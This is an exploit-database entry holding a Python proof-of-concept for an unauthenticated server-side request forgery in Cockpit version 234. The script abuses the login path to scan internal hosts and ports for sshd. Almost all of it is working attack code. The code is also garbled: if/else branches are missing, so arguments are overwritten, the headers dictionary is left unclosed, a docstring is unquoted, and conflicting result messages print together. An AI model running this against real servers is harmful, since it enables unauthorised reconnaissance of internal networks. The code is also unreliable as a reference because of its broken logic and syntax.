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Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)


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# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04

import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup

Example scanning for internal server:
python3 PoC.py --target --scan --ports 21,22,23
Example scanning for loopback interface of server: 
python3 PoC.py --target 
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
def main():
    dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
    parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
    parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
    parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
    parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
    args: Namespace = parser.parse_args()

    if args.target:
        target = args.target
        if args.scan:
            scan = args.scan
            if args.ports:
                ports = args.ports
                ports = "22"
            scan = ""
            if args.ports:
                ports = args.ports
                ports = "22"
        cockpitReq(target, scan, ports)

def cockpitReq(target, scan, ports):
    portRange = ports.split(",")
    for unsafe in portRange:
        headers = {
            "Host": str(target),
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Authorization": "Basic dW5zYWZlOmlubGluZQ==",
            "X-Authorize": "",
            "Connection": "close",
            "Cookie": "cockpit=deleted",
        req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
        soup = BeautifulSoup(req.text, 'html.parser')
        responseCode = req.status_code
        responseTime = str(req.elapsed)

        if responseCode == 404:
            print("Cockpit server was not found!")
        elif responseCode == 401:
            if soup.title.string == "Authentication failed":
                print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
            elif soup.title.string == "Authentication failed: no-host":
                if responseTime > "0:00:10.000000":
                	print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
                	print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
                print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
                print("[-] One bad day!")
            print("Something went wrong!")

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